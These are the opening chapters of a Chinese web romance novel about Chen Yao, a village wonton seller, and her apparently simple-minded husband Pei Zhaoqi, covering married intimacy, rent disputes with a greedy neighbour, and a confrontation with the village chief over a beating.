《娇俏娘子二嫁夫君》
1. 花颐村
《娇俏娘子二嫁夫君》
文/莘玥
花颐村有谁不知,陈窈嫁给一傻子,人长得干净但脑子不好使,空有一身蛮力,白日里干农活,晚上卖力讨好她。
狭小的屋内,缠绵音连绵不断。
棉布盖住的地方不断晃动,老旧床板咯吱咯吱作响,覆在陈窈身上的男人,瞪着大眼睛直勾勾地盯她蹙起的眉。
“窈娘,你痛了?”
“是我放错了位置吗?”
“……”
陈窈被他折腾得说不出一句完整的话,全被嘴边溢出的嘤咛代替,尤其是这个时候他偏去寻她脸上的娇羞。
真叫人面红耳赤!
响声渐于搁止,陈窈两颊潮红,额头覆上一层薄汗,紧锁的眉目舒平。
男人并未急于起身,他俯身轻轻吻去她眼角滑落的泪珠,“我力气大吗?”
陈窈:“……”
记得无意夸过他一次,力气大能让她更舒服的话,刚开始还浅尝辄止,后面越发老练,甚至在这种时刻明晃晃地问她。
不过,他人除了傻一点呆一点,房事却极为和谐,陈窈还是很满意自己的相公。
男人名叫裴照七,是她三年前在河边洗衣时捡来的,他当时浑身是鲜血,染红了冰冷的河。
浓重的血水下是一张绝美的皮囊,他眉如墨染,鼻骨英挺如山峰,玉肤白瑕,唇中的一点苍白却依旧盖不住他脱俗的气质,比村中的男人都要俊迈。
陈窈一时看呆了眼,私心将他带回家养伤。
数月后男人身体已痊愈,只可惜醒后人却傻愣愣的,陈窈问他家住哪,有几口人,怎么弄得一身血,他都双眼无神,除了自己叫什么便一无所知。
花颐村地处偏僻,被大山围绕,陈窈想他应是从山崖坠下时不幸伤到脑袋了,她本打算拿他的画像张贴,没准能找到他的亲人,谁知这傻子不乐意,她画一张他便吃一张……
陈窈怕他把这些纸吃下去人更傻了,就一直养着他,后来为解决麻烦,一咬牙与他拜堂成了亲。
两人虽不像坊间话本描绘得那般君心似我心,但日子也算过得舒心畅快。
缠绵过后的汗黏在身上,这样睡了定是不舒服,陈窈裹了件薄纱,准备下地洗澡。
没走两步,身后传来鞋子拖着地的声音,她回头说:“我去冲洗,不用跟着我。”
裴照七脚步顿住,眼神一动不动地望着陈窈,木桌上油灯映照,使他乌黑的眸子闪着细碎的亮光。
成亲多年,陈窈见他摆出这副眼珠都不动的模样便是不乐意,他黏她黏得不行,恨不得一刻都不能分开。
陈窈叹了一口气,问他:“你也要冲?”
裴照七眸色这才有了变化,用力地点了点头。
她家条件不好,浴桶小而窄,两人进去就算身子挨身子也挤不下。
陈窈简陋地铺了块布,遮挡住身子,她打算先洗一步,让裴照七真难而退。
凉水续满木桶,陈窈白皙的双腿跨进木桶里,水瞬间将她全身包裹,凉意像是刺穿她的肌肤,直钻入心尖。
泡了会儿,却不见裴照七人影,陈窈迷茫地眨了眨眼。
下一秒,一瓢温凉的水流顺着她暴露在空气的肩头落下,裴照七袒露着健硕的上半身,拿水瓢站在她侧边。
陈窈歪头看去,正好定在他赤着的胸膛上,许是常年劈柴的缘故,飞溅的水珠顺肌理滚落,鼓起来的肌肉似一座座小山包。
她面颊染上绯色,轻咳了声,“你做什么?”
与陈窈相比,裴照七似不知羞涩为何物,坦荡的眼神垂落她浸没水面的风光,“窈娘辛苦,我给你洗!”
陈窈还以为他想一起泡,结果这傻子是想来伺候她沐浴。
只是不知他话里的辛苦指什么。
是指她养家的辛苦,还是两人在床缠绵悱恻的辛苦?
陈窈轻笑,她猜想后者更多。
裴照七拿起一块小皂角,顺着陈窈纤纤似玉白的手臂慢慢清洗,平常在烈阳下挥动斧子的男人,动作却异常轻柔,慢条斯理地服侍她。
这时门外传来一阵急切切的敲门声,打破陈窈的享受。
陈窈泡在水中舒服得根本不想动,使唤裴照七去开门,他放下手中的葛布巾,起身走去。
片刻,陈窈听声儿越发皱眉,这么晚来叨扰她的清净,除了那位贪财的庞婶子,还能有谁!
两家说是邻里,但实则为一户一家。
陈窈亲人去世后与冯奶奶相依为命,冯奶奶年岁已高,疾病像阴晴不定地登门,身子骨时好时坏,她夜以继日地卖馄饨,只要多卖一份,她便能请最好的大夫为奶奶医治。
可惜,就在她带大夫匆匆赶来时已无药可医,临了前冯奶奶将这间陋室送给陈窈,两人不是家人胜似家人。
陈窈不敢接,这是冯奶奶的房,不能过给她一毫无血缘的野丫头。
冯奶奶紧握着她的手,气若游丝地呼出几个字,“窈窈值得。”
陈窈重重磕了头,泪水滑落眼角,大颗大颗地滴在地面。
她知道冯奶奶儿子很早便去世了,可她不知的是,冯奶奶还有儿媳和孙儿,按律法这房子根本轮不到她。
儿媳庞氏像是闻着味儿般,一等冯奶奶去了,便带儿子来讨要这房,于理这房陈窈没半点关系,于情陈窈悉心照顾冯奶奶晚年,没功劳也应有苦劳。
可庞氏听不进去一点,她语气极为刻薄,明里暗里颠倒黑白,说陈窈一早便看上他家的房,才虚与委蛇地照顾。
但陈窈也不是好欺负的主,她指责庞氏没能尽孝,偏偏能人过世才现身,何等居心可想而知。
两方都有理。
最后在村主任的主持下,折了个中。
陈窈住进最里面的一间小房,每月给庞氏一些银钱,也算两全。
算算日子,庞氏今儿个应是来要掠房钱。
陈窈知道裴照七应付不来,打算擦干身子去钱罐里拿银子,一抬眼便见裴照七挺拔的身影似座高山般立在她面前,俨然一副给完钱的样子。
在金银面前,她理所当然地忽视掉面前的男色。
陈窈扬起脖,“你给她银子了?”
裴照七点了点头,扑闪着发亮的眼睛似在求她的夸赞。
陈窈眯起眼来,半信半疑道:“你知道什么是银子吗?”
以裴照七的脑子,除了劈柴,吃饭和她在床上翻云外,应该装不进别的。
裴照七从身后的小罐子里不知抓了一把什么,摊放在陈窈手里。
陈窈垂眼一看,手心两颗花生豆。
“……”
愣了两秒后,陈窈笑得肩膀直颤抖,裴照七竟把豆子当银子来买卖,庞婶脸上的皱纹估计又要深上一褶了。
裴照七没得到肯定的回答,他双手扶着桶沿边,委屈巴巴地说:“不是吗,窈娘?”
陈窈没应他,只是颇为感叹地唉了声。
女人挂着水珠的细手伸出,轻摸他的侧脸,嘴角微微一勾。
她心想,你傻也不是你的错。
——
裴照七人
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傻,但陈窈却精明得很,她靠着自己的美貌在村中做的馄饨生意顺风顺水。
天正值暑月,大地被炙烤得像是生了烟。
乘凉的树根底却空无一人,全停在一处热气生烟的馄饨摊。
三名大汉拖着鞋朝摊内大摇大摆地走去,为首的男子皮肤黝黑,下巴快扬到天上去了,姿态倨傲,是个难以对付的硬茬儿。
男人鼻孔哼了哼,小弟们大手一扫桌面碗筷,叮里咣当的声音引得周围人齐齐看过来。
他置若未闻,甚至更为放肆,脚用力一蹬,鞋上沾的泥随着抖动落在木凳上一小撮,熟门熟路地大喊,“窈娘!三碗馄饨!”
众人视线望去,热腾腾的大锅前站有一娇俏娘子。
陈窈身上无繁复的装饰,一身淡雅的素服,腰间轻系的束带勾勒她楚楚纤腰,挽起袖子露出的一截小臂如凝脂般细腻,似比龛子里躺着的馄饨还要莹白。
她小臂微微绷起一提,从锅中抄起漂浮的馄饨,动作一气呵成,利落地放进碗中。
陈窈用木盘端起馄饨,往桌上一放,碗中的汤水似小浪摇动,不洒出一滴。
“八文钱!”她指节敲向桌面,桃花眼轻轻眨了下,如闪烁的星星一样迷人。
她生得貌美,是那种骨子中透出的媚感,这儿方圆的男人就算头顶烈阳,也要吃上一碗馄饨,和她搭上句话。
刘二便是这里的常客,他作势舀着圆滚滚的馄饨,目光一垂,贼眯眯地盯上了陈窈鼓鼓的胸脯,吞了吞口水,“你这馄饨……真大。”
不知什么时候,陈窈胸前素白内衬露出,薄薄一层,透出若隐若现的两团肉,被单衣撑得好似要破出般,就像她包得皮薄肉大的馄饨一样,皮下全是实打实的肉,一口咬进嘴里,肉汁直往外溢。
陈窈对这种眼神早就见怪不怪了,她拢了下衣襟挡住,笑着道:“哎呀,刘哥,给你放错了,你这碗十五文钱!”
“……”
看两眼她没少一斤肉,还白白挣了一把。
划算!
爱财如命的陈窈将铜钱收进口袋,扭着腰肢继续煮馄饨。
刘二在这一片是出了名的霸主,仗着自己是村长儿子的身份,各种横行霸道,藐视天理行规,没几个人敢惹他。
而陈窈是个例外,她勾着这位贪色的主,让他饱饱眼福又不真给他,还日日都有收入,这对她来说足够了。
今日带的馄饨赶在太阳落山前全卖光,陈窈收拾钱囊回家,娇小的身影被夕阳拉得极长。
草丛边还有两个男人没走,眼神像是贴在陈窈身上般,满口污言地拿她打趣。
“老板娘这身条看着就软,还有她这翘屁股,扭得老子都硬了。”男人瘦高,叼着狗尾巴直瞪瞪地朝陈窈离去的方向望去。
“人家可是有相公的,小心他把你腿打断!”边上一脸带麻子的男人嗤笑他。
“你说她那个傻子相公?”高个男不屑一顾,吐掉草啐了一口。
他见过陈窈的傻男人,长得人模人样,但没本事,全靠女人养。
“就你?”麻子男上下扫视他瘦如竿的身子,轻蔑地歪嘴道:“可不一定是他的对手!
高个男人立马来气,弓起自己壮实的手臂,不甘示弱道:“我这臂力,一拳打他十个绰绰有余。”
麻子男嘴一咧,“她家男人可不傻,护妻得很,要不然那混头刘二为何迟迟不动手?”
高个男显然对此一无所知,“你说他装傻?”
麻子男哥俩好般,搭在他肩上压低声说:“他之前啊……”
2. 涨租
陈窈做的馄饨不算绝味,但靠着她这个早出晚归的小摊,勉强撑起这个家的开支。
她每日照例赶在太阳升起前出摊,太阳落山时收摊,日子如山涧小溪般流淌。
今儿个收成好,来了一批商队的人,全都是身强体壮的男人,八九个人每人都用了三、五碗馄饨。
陈窈将收起的银两拨出两文钱,买了一块甜甜的糖饼带回家。
裴照七看到她从身后变出糖饼时,眼珠子都发亮,抱着她亲了一大口,“窈娘,你对我真好!”
吃完,裴照七欢天喜地地去磨小麦,双手拉动石礳在闷热的院子一圈又一圈。
陈窈望着他汗如雨下的脸庞很欣慰,她家穷买不起畜生磨小麦,只能堪堪用人力,但她有裴照七。
男人如牲畜,只要你给点他甜头,他能像驴一样给你干活。
但很显然,今天这甜头她给得有些过了。
不到酉时,天色将将暗了个头,裴照七拉着她就往床榻上躺。
陈窈脑袋刚沾在到枕边,他如山林间的猛兽般欺身,粗粝的大手攀抚女人滑嫩的背部,勾住两条细细的带子,轻轻一拉,亵衣顿时松散,女人如含苞待放的花一瞬绽放。
冷疏的月光从窗外斜斜地照在墙壁,映出几乎快要重叠一起的两道影子,缠绵交织。
“咚咚咚!”
就在这时,外面一阵敲门声打扰房内的旖旎。
陈窈挑起沾染情欲的眼波,哑着嗓子催促他,“可以了。”
本想用完饭后她去交掠房钱,没想到这傻子把她缠在床上了,庞婶久久见不到她的银子定会找上门。
裴照七翻身,从柜子拿出一块干净的手帕,温柔地擦拭她被汗黏在额头的碎发,“窈娘,辛苦了。”
陈窈:“……”
她猜过不来两天,这傻子又该伺候她冲凉了。
陈窈无奈地叹息一声,不愿与这愣头再多费口舌,她明了地说:“你先开门去,待我穿好衣服过去。”
她现下衣衫不整,眼尾一圈红晕,一打眼就知躲房里咋干什么。
男人赤着胸膛,低着头不语。
陈窈见他这一副舍不得温柔乡的模样,就知道还没喂饱,他定是不愿动身。
女人纤细如玉的双臂似重新环上他的脖颈,眉眼似带着勾子般,好声好气地哄他,“我的好相公,等你去完我们再续~”
说完,男人黑眸亮起,顿时不再留恋,掀起被褥起身往外走。
“……”
陈窈刚要收拾衣物,一抬眸就见一具白花花的身子立在她眼前,仔细看后腰还有几道显眼的抓痕。
“穿裤子啊!”看得陈窈双眼发黑,赶紧把他叫回来。
男人听到她细嗓喊他,杵在原地片刻后,又讷讷地回来,老实地套上长裤。
陈窈:“……”
衣襟还未穿好,门外头传来女人粗壮的嗓音,她就知道裴照七一人应对不了,她匆匆系了系腰带会客。
“庞婶,这么晚,您有什么事?”陈窈靠在门边上,纤纤玉手往自己男人臂膀上一推,示意他回屋去。
裴照七很听她话,往床上一坐等她。
“打扰你好事了。”
妇人斜眼打量陈窈,瞥见女人娇嫩如雪的肌肤上的男人印,看她那狐媚子的劲儿,定是没少缠着那傻子滋润。
即便守寡多年但庞氏眼力不改,平时就能瞧见她家男人劈柴只会傻乎乎地出蛮力,没想到床上更卖力。
这女人命可真好,白捡了一屋子和男人。但那又如何,还不是受他们一家人摆布。
庞氏昂首挺胸,扬了扬下巴,“该交银子了吧?可别用那几颗不值钱的花生再糊弄我!”
陈窈额角一跳:“……”
她虽不喜庞氏趾高气扬这副作态,但还不至于指使裴照七仗着自己傻拖延交租。
她懒得多费口舌,拿出早已准备好的银钱给庞氏。
庞氏笑滋滋地接过,钱币在手中发出清脆的声响,她仔细清点起来,“一文不差。”
她数完抬眼看着陈窈,一点想走的意思都没有。
陈窈轻咳一声,礼貌轰人,“这么晚了,我就不留您进来喝茶了。”
庞氏哼笑,五指一扣比了个数,“跟你说声儿,来月交这个数。”
陈窈笑容敛住,眉心微锁。
足足翻了一番。
庞氏一家三口无收入来源,全靠她按时交的掠房钱,一有急需便涨租,上次因为她儿子要上京赶考,这次又不知是什么缘故?
“不愿意啊?”庞氏见她不说话,嗓门一喊。
陈窈不满地瞪着眼,“隔段时日您就涨钱,江河涨潮的水都没您涨得快。”
庞氏鼻息中探出一股粗气,哼声道:“那赁贴上的价儿可比我这多多了,你若喜大可找个房牙子去讨价还价,我们平民百姓不做那强求留人的事!”
她今天来就是只会她一声,丝毫没有讨还的余地。
陈窈被她气得脸都红了。
庞氏之所以如此嚣张,是她拿准了陈窈的做生意的命门。
陈窈做的馄饨算不上好吃,只能说可入口,前来的吃客压根就是冲她这人来的,比起馄饨的香气,男人们更贪图她的美色。
一旦她搬离花颐村,去城里的地方,那边的文人不一定蜂拥而至,为她不巧的手艺而掏钱袋。
这个道理陈窈自然比谁都清楚,她送走了庞氏,开始拨算盘。
以这个速度涨,也不知她得卖出多少份馄饨。
正当女人专心算账之际,一股热气从她身后往前凑。
陈窈思绪都被裴照七扰乱了,她转身皱巴着娇红的脸蛋,生气地叱他,“你干嘛!”
男人不语,发亮的眼睛微微一眯,拨开她的里衬探。
陈窈:“……”
说他不傻吧,教了什么都记不住。
说他傻吧,多晚都不忘记做那事。
既答应了他,陈窈不想做无信之人,她柔软地往男人身上轻轻一靠,玉臂轻绕,从后将他脑袋勾来。
这一夜再醒来,陈窈匆忙地收拾东西,准备出摊。
裴照七天刚亮就醒了,他坐在门外磨麦子,见陈窈从屋里出来嘿嘿一乐,“你真美。”
陈窈今儿特意涂了胭脂擦了粉,偏髻上别了一朵艳丽的无名花,还穿了城中夫人喜爱的款式,胸前的云纹刺绣随着女人呼吸的闪动,似湖中粼粼光波。
房钱涨了,她就得想办法让自己的馄饨也涨价,但做来做去都是那个味道,没什么新鲜,陈窈只能尽力倒腾自己,好依着这点娇媚捞些钱挣。
女人粲然一笑,比头上花还要俏,“等我回来再给你买凉糕!”
男人像是听到有凉糕吃,高兴地不得了,脑袋如捣蒜般点头。
陈窈推着馄饨小车,窈窕迤逦的身条漫步于洋洋日光中。
她刚走,晒衣杆前的两人凑到一起。
庞氏的儿媳吴春蔓将手头的粗衣麻布一裹,攥在手里说起闲话来。
“小狐狸精穿这么少,又去勾引男人挣些不干净的银子。”吴春蔓想想就生气,都是一
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个村的,她却样样比不过陈窈。
“少说,这些钱没进你嘴里?”庞氏抖动手中的衣物,眼神掠过她还未显怀的肚子,话音一转,“等我孙儿出生用银子的地方多了去,可得指着陈窈这棵摇钱树。”
吴春蔓哑然:“我……”
她自有喜以来,吃得多花得也多。
庞氏这话倒不是向着谁,她婆母死后竟把这么一大间屋子留给毫无血缘的陈窈,她守寡多年把儿子含辛茹苦地拉扯大,就算抢她也要抢来!
陈窈生得不似村中女人般粗糙,脸蛋嫩得都能掐出水般,庞氏本不想真把她赶走,恰好自己儿子对她确有一心,只要陈窈同意这门亲事,房子她便可住下。
可没想到,陈窈这死丫头不识好歹,转眼跟一傻子成了婚。
花颐村就这么屁大点地儿,这不是往她脸上打吗?
宁可嫁一愣头,都不嫁他儿子。
这梁子算是结下了,庞氏开始向她收取租房的银钱,可谓是一家的收入都是从陈窈手里流出来的。
吴春蔓心如明镜,自是知道这个道理,取笑道:“行,等着陈窈有天真出去卖,咱们也可以坐享清福!”
“你脑子都被江泥糊了吧,她真飞到枝头变成凤凰,还会在乎咱们小小的花颐村吗?”庞氏冷哼,她希望陈窈钱囊有点子儿,但也不要太多。
“她要是真这么做,咱们就能拿捏住她的把柄,那陈窈岂不是要给咱们做牛做马一辈子!”
吴春蔓忍着被婆母训斥,这种不三不四的女人可是要浸猪笼的,要是真有这么一天被她逮住,陈窈休想再和她争!
庞氏听完放肆大笑,像是听到天大的好事,眼角被扯出几条深深沟壑,“小声点,别被她家傻子听到。”
吴春蔓吊梢眼一眯,露出条细窄的缝儿睨了眼旁边的傻子。
她轻蔑地笑了笑,完全不把他放在眼里,和庞氏一同进了屋。
无人处,本迎着日头劈柴的男人慢慢直起腰,痴傻无神的眸里倏尔凝起戾气,仿若大雾中忽现飞鹰,下一秒似要叼噬人心。
——
晨雾散去,倚着岸边的绿柳,大锅掀开袅袅白烟蒸腾,肉香从中飘出,来客络绎不绝。
女人如美玉的面容在烟雾消散之际浮现,眼澄似水,含娇带媚,仿若江南的水墨画。
刘二每日都会光顾陈窈的摊,他是村长的独子,出手阔绰,单从他家有村里唯一的牛舍便能看出,养牛既需财力又需人力,只有他家能供养得起。
陈窈将他的馄饨端上,指尖轻扣木桌,“二十文。”
刘二刚要掏钱袋的手一顿,没想到她涨价涨的离谱,皱眉道:“你这馄饨我可都快吃不起了。”
陈窈早知他会有这一问,嘴边微微弯道:“刘二哥,自从你买我的馄饨,这儿的生意越来越红火,我穿得也就越光鲜,这不就相当于您出钱给我添置新衣嘛。”
男人给女人买衣衫,一方面证明男人口袋充裕,另一面嘛……只有为自己的女人才能如此上心。
刘二没什么见识,立马陷入她温柔的陷阱,加上女人带转弯的绵音,听得他骨头都酥了。
男人大手一挥,露出黄渍牙,笑眯眯地道:“好好好,我刘二要是再买不起几碗馄饨,岂不是叫人看笑话!”
陈窈见他钱袋鼓鼓囊囊,手心摊在他面前,“那再来三碗?”
刘二被她撩拨得心晃了又晃,女人细白嫩滑的巧手摆在眼前,他粗粝的大手自然地摸上去了,猥琐地笑了笑,“小娘子,跟了我吧,我比那个傻子更能让你更快活!”
3. 护夫
触碰一瞬,陈窈浑身掀起一阵激灵,眉头深深蹙起。
女人的嫩手果真细滑,似比绸缎还要软上几分,刘二贴上便不想撒手,他甚至还想要得更多!
陈窈瞥见刘二指甲盖上混着的泥,再对上他一副色相的五官,像是有千万只蚂蚁聚集在嗓子眼,让人一阵反胃呕吐。
但为了银子,陈窈硬是忍下心里的一口恶心,迎着僵硬的笑慢慢抽回手,“诶呀~您可别拿我寻开心了。”
落在刘二眼中就是女子害羞的反应,他已十拿九稳,这事且不急于求成,只要陈窈心里有他,他还愁睡不到她吗!
等陈窈转头去烧水,刘二旁边的小弟却着急了,提醒他,“您别忘了去年那事儿?”
刘二望着陈窈离去的影子,还回味着刚才的春心荡漾,想着明天无论花多少银钱他都要再摸一次,哪还有心思想去年的事儿。
“被打成残废的混头!”小弟压低声音。
经他提醒,刘二骤然一惊,挂在脸上的笑瞬间被吓回去。
去年有个混头小子来花颐村,借着吃馄饨趁机摸了陈窈的屁股,结果当天一瘸一拐地走出村,更惨不忍睹的是他血淋淋的左臂,整条被砍断,而那正是他摸陈窈的那条。
尤其是他离开还满口咒骂陈窈她男人,此后,村里都传是那傻子打的人。
这事怪就怪在这儿了,陈窈靠这个做生意,自是不会向自家男人哭诉,那这一个天天只会傻愣劈柴的傻子,怎会知陈窈被调戏了?
刘二回想起混头鲜血淋漓的胳膊,赶忙摸了摸自己健在的手臂,不禁打了个哆嗦,他回身四处巡视一圈,身上掀起一层冷汗。
——
太阳还没下山,几屉馄饨全都卖空,陈窈心满意足地回家。
这天热个没完,加上馄饨小摊热气扑面,陈窈放下竹篮先去冲凉,微凉的水流在肌肤,褪去一天的疲惫。
陈窈披了件薄衫,正要埋头算账,一扭头见裴照七瞪着圆溜溜的乌眸来回往她身上瞧,像是有什么话要说,“干嘛看我?”
裴照七伸手直接往她裤子的口袋探去,摸了一手空。
男人粗眉一撇,伸手管她要,“凉糕。”
“……”
陈窈把这事远远抛之脑后,忘得死死的。
她满脑都是刘二摸她手的肮脏画面,他区区花费几两银子就敢摸她手,下次可不会那么容易!
陈窈气了一路,导致她路过卖凉糕的大娘时,抬都没抬一眼。
裴照七就知道她忘记了,轻哼一声,生着闷气坐到小木凳上,用冷漠的背对着她。
陈窈:“……”
人得哄,但凉糕她真变不出来。
她从罐子里倒出一块饴糖来,家里生活拮据,也只有这一块了。
陈窈蹲过去,拍了拍男人的肩,指尖捏着糖,在他面前晃了晃,“有糖吃,可甜呢!”
裴照七一点都不好混弄,糖时刻刻都有得吃,又不是什么稀罕玩意,不如大热天来一块凉津津的凉糕实在。
他看都不看一眼,头更往一侧偏了过去。
“……”
陈窈知道糖他吃惯了,但这可不是一般的饴糖,这是家里最后一颗!
她把唯一的一颗糖给他吃,他竟然一点都不给面子。
陈窈无奈地叹了口气,谁叫她失言在先,没办法似的她又硬着头皮哄了他几句。
“吃了颗嘛~”
“放越久的糖越甜,你试试?”
“不吃糖,半夜会尿床!”
软的硬的,陈窈都试了,这傻子跟块大石头似的一动不动,要不是睁着两只眼,她差点以为他睡着了。
糖黏在她指腹上,随着热天慢慢融化,融化成一层晶莹糖浆,诱人的香甜味儿从中散开。
陈窈趁着这股甜劲儿,再次递到了裴照七眼前,柔声细语地哄他,“不吃都化了,相公。”
裴照七抬眼看了糖一眼,又眨巴着眼睫盯着拿糖的她,就在陈窈以为有希望时,他下巴一撇,头又转了回去。
“……”
陈窈不受这气,她一口把糖放进自己嘴中,拍掉手中的黏腻,“糖没了,你别吃了,也别上床睡!”
她也学着他,两人背对着背谁也不理谁。
须臾,陈窈拨算盘的手微顿,身后一股热气贴近,像是两条盘蛇般紧紧缠住她的腰。
不用回头都知道是谁。
“娘子,吃糖。”
裴照七下巴搭在她的肩头,话说间嘴唇的呼出的薄气铺在她的耳垂。
“糖吃完了,没有。”陈窈齿间的硬糖随着她舌尖搅动,咯吱作响。
裴照七像做错的事小孩子,委屈巴巴地小声说:“有。”
陈窈忙着算账,没空搭理他,随口敷衍他说:“有你就吃呗。”
话音刚落,身后传来一阵窸窣,温热气息顺势封住她的唇瓣,陈窈下巴被猝不及防地扣住,带有目的吻毫无章法地侵入。
陈窈感觉含在嘴中的糖块忽地被他卷至舌尖,正以为他要叼走时,男人唇瓣却慢慢地摩挲一瞬,随后糖块又缓缓地回到她唇齿之间。
来回几次,饴糖就这般融化在他们嘴里。
裴照七胸膛起伏,用衣袖擦了把溢在嘴角的口水,“吃到糖了!”
陈窈双颊染上红晕:“……”
她真没想到,这傻子会吃她嘴里的糖!
裴照七没陈窈那般羞涩,又凑过去和她贴了贴脸颊,像黏人的小狗一样。
他容貌俊秀,生得白净好看,眉眼似雕琢般深邃,但笑起来时却格外柔和可亲,没两下陈窈刚才生的怒气瞬间烟消云散。
暑月太热,陈窈只和他贴了一会儿,起身准备烧饭。
两人简单吃了碗野菜粥和馍馍,准备和衣熄灯睡觉,门外几声轻叩——咚咚咚。
陈窈疑虑,这么晚不会又是庞婶来找她麻烦吧?
一侧的裴照七早已钻进柔软的薄被之中,他轻轻地掀起一个布角,眼巴巴地等着她一起睡觉。
“等我下,相公。”她安顿好裴照七后,才去开门。
门一开,陈窈目光一滞,愣了愣。
村长举着油灯站在她面前,他面色铁青的脸,微光映着眼底的愠色,却硬是装出一副面上和色,“这么晚
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打扰了”
身后是他儿子刘二,脸上青一块紫一块,一看就是被人打的,脸肿得像个猪头,血块凝在上面成个小窟窿,腮下的肉都横出来了。
陈窈忍住嘴角翘起的笑意,转而“诶呀”了一声,装模作样地关心道:“刘二哥可是摔伤了?严不严重?”
刘二牙都被打掉了,刚想开口稀稀拉拉的血水顺着渗出,颤抖的嘴唇愣是说不出一句话,“唔唔唔……”
村长沉着脸替他说,“那傻……”
刚开口便对上陈窈在暗中冷出阵阵寒光的眸色。
陈窈最忌讳被人说她相公是个傻子,他人傻但心善,比明里暗里的伪君子要聪慧!
当然,除了她自己外。
一贯作为公道正派的村长轻咳了声,咽下刚才的话,再次开口:“你相公打伤我儿子,我来讨个说法。”
陈窈眉心微陷,“村长说我相公伤人,敢问何时?”
“未时。”
“何地?”
“河边小径。”
“何因?”
村长一顿:“这就要问你相公为何伤人?”
“我相公一直跟我在屋里头,半步不离,何来功夫打伤人。”陈窈眼眸一转,厉声质问,“或说您是否有人证物证?”
官府断案尚需人证物证俱在,平白给她相公定罪,天下就没这样的道理。
村长:“我儿被他打,这是人证,脸上一身伤,这是物证!”
身后的刘二挺起胸脯,有他村长老爹在顿时有了底气。
陈窈鼻腔一声哼笑,“照您这么说,我现在给自己一拳,也可以说是刘二打的,反正也没人看到,我又有一身伤可作证!”
村长噎住,咬牙切齿道:“你……你蛮不讲理!”
双方僵持不下,吵闹声引得周围邻里投来目光,有人甚至掀开半扇窗来凑热闹。
陈窈扫了一眼四处,扬起下巴放声,“村长,我敬您是平心正持的村长,定同那些迂腐的高官殊异,断然不会因刘二是您儿子而偏颇,失了气度。”
村长多年在花颐村吃丰厚的油水,早养成老奸巨猾的性子,不会被她一小丫头三言两语给糊弄了。
他顺了顺翘起的胡子,“既为公正,那你又有人证证明你相公和你一同吗?”
陈窈:“我……”
她这可犯难了,刘二被打没人瞧见,同理裴照七和她在屋里也没人证明。
村长见状,浑厚的嗓音严声道:“那便是没有,未时你相公不在屋头,却堵我儿回家必经的小径,不由分说把人打伤,这事按国法应实行仗刑,也最为公允。”
村长拿她说出的话堵她。
陈窈眼珠四转,尽量掩饰面色的慌乱。
刘二家院落是花颐村最大的,途经蜿蜒小径,坐靠小溪流,同时也远离大部分的村民。
而她家不同,位于人烟处,一点风吹草动肯定有人知道。
陈窈想了想,“如若我拿出人证,是否能证明我家相公没伤人。”
村长:“没错。”
陈窈身子一侧,掷地有声喊道:“我的证人就是庞婶!”
4. 孤立
这村里谁人不知,庞氏最与陈窈不和。
此话一出,看热闹的人顿时一片唏嘘,一大群人见没什么势头了便回去就寝,只留下一部分看陈窈笑话。
村长清了清嗓,朝在暗处躲着的庞氏说:“你且来说申时裴照七在何处?”
隔着一面墙头,庞氏听得极为清楚。
陈窈男人不知何故打了村长的儿子,村长大半夜带着刘二来她交出裴照七。
她走到面前村长前,见风使舵地说:“他家相公自是……”
“庞婶!”不等她说完,陈窈打断道:“咱两家离得最为近,请您来说最为公道。”
村长眯眸,有些看不懂她。
下一秒,陈窈泪如泉水唰唰流下,哭得梨花带雨,嗓音微颤道:“如我家相公真打伤刘二哥,村长不仅要重重罚他,我作为他娘子更惭愧与大家同住花颐村,届时我必搬离,无颜再面对村民的信任。”
“庞婶,以后流露在外怕是不能与您同做邻里,交予您房钱了呜呜呜。”
说罢,陈窈袖口掩面,放声哭泣。
“……”
看似愧疚,实则别有用心。
庞氏虽一介妇人,但明白她字里行间的暗意。
陈窈在威胁她。
她相公要交到村长手中,陈窈沾不得半点好处,同样庞氏独守一间破旧空房,再无金银进腰包。
庞氏年纪大无法劳作,家里有一要科考的男人肯定不能打扰,吴春蔓肚子踹着货也经不起折腾。
与其说她们一家趴在陈窈身上吸血,不如说陈窈也拿准了她们。
如何选择,陈窈已铺好一条路摆在她面前了。
“诶呀,这是哪里话。”庞氏顶着村长不悦的神色,转脸一笑,我记得未时我正与儿媳在屋头摘菜,从始至终没跨出过大门……”
陈窈心一紧,捏紧袖口的手心渗出汗来。
庞氏贪心多要她银子能应对得起,只盼庞氏别将人逼上绝路。
“不过,等我们把菜摘干净时,隔壁的劈柴声正好停了。”庞氏又言,“未时他相公应在家中劈柴,确实没出去。”
陈窈舒了口气,悬着的心终于落下。
村长听完脸比锅底还黑,刘二也没好到哪儿去,他额头两端被陈窈气得爆青筋,双眸怒瞪。
陈窈弯弯一笑,“村长爱子心切,但此事应另有其人。”
村长按捺住心里窜上的火气,咬牙切齿地说:“你这般护他,不知是福是祸!”
“我家私事,不劳村长挂念。”陈窈轻点头,伸手送客。
村长目光在陈窈这双俏媚的眼波里定了定,心里淬她一口红颜祸水,随后灰头土脸地带着儿子回去了。
路上,刘二也不管嘴角伤口的疼,快步跟在他爹身后,扯着嗓门朝他喊。
“爹!我们就这样放过他了?不能三言两语被她一小丫头糊弄了!”
“我被打得我能不知道吗!那傻子分明有所预谋,专在我独自回家的路上堵我!”
“你倒是说句话啊!爹!”
“……”
“啪!”的一声,清脆的一巴掌印在刘二焦灼的脸上。
村长背起手,狠狠剜了他一眼,“你对那贱妇要是没半点不该有的心思,我这人老脸能被她们如此作践吗!”
刘二捂着脸,难以置信地抬头,“我顶多想讨要个说法,她都能护着她相公,而人家都把我脸打花了,你却不能护着你亲
儿子!”
村长被他气得说不出话,“你……不孝!”
他心一梗,身子直直倒地。
“爹你别吓我!”
“爹!爹!!!”
刘二仰天长啸,驮着他爹疾步往回走。
另一边,陈窈送走村长二人后,关上门回屋。
不知何时油灯吹灭了,屋内漆黑一片。
陈窈慢慢悠悠地回床上去,刚摸到床边,一股巨力将她揽进一个温暖的怀抱。
裴照七搂着她,低垂的脑袋埋进她的后颈,委屈地道:“他们又说我打人。”
陈窈:“你都听见了?”
裴照七嗯了声,“我没有打人。”
陈窈转过身,摸了摸他的头,“我知道你没有。”
裴照七抬头看她,眼底流露出喜色,“窈娘,你信我!”
陈窈笑着敲了敲他的头,“你这小脑瓜装不下太复杂的情感,定是被别人诬蔑!”
裴照七眸色渐暗:“……”
在说他傻吗?
陈窈压根不相信裴照七会打人,村里都传有人敢对她动手动脚,裴照七为护妻必把人打伤。
但陈窈认为他天天在屋头一杵,怎么会知道她远处馄饨摊发生的事呢。
至于刘二说他亲眼看到嘛……?
